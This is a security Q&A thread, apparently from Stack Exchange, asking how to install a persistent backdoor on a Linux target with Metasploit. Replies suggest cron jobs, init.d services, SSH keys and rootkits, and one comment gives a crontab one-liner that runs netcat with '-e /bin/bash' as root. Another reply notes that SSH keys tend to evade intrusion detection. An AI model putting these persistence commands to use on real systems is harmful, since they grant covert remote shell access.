As in the question - how can I install a persistent backdoor with Metasploit on a Linux target?

  • typically that's done by injecting a cron job or a low level service in init.d – schroeder Jul 27 '15 at 19:55
  • I Googled that adding an authorized_keys could probably also work, but I was wondering if there is any "standard" script that gathers those techniques. – d33tah Jul 27 '15 at 19:57
  • it's really going to depend on the distro – schroeder Jul 27 '15 at 19:58
  • ...which justifies creating a specialized script for that. – d33tah Jul 27 '15 at 19:59
  • 1
    echo "*/10 * * * * root nc 12345 -e /bin/bash" >> /etc/crontab && service cron restart – atdre Jul 27 '15 at 22:50

Any persistence modules for Linux would be found under than "Local" exploits here: https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/local

Or in the Linux Post Modules: https://github.com/rapid7/metasploit-framework/tree/master/modules/post/linux

Or in the Multi Post Modules: https://github.com/rapid7/metasploit-framework/tree/master/modules/post/multi

I didn't see any that perform persistence, but like @d33tah said, usually persistence in Linux is simply editing the crontab to run something or installing SSH keys so that you can get back in. Or you can go the route of Kernel rootkits: http://www.securityfocus.com/tools/category/65

  • mubix covered the bases, but to throw my hat in, I am a big fan of dropping SSH keys on engagements. It's the most stable, has yielded the most success for me over the years, and is also encrypted communication, so the chances of getting caught by an IDS or IPS are pretty slim. – user79537 Jul 28 '15 at 3:35

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.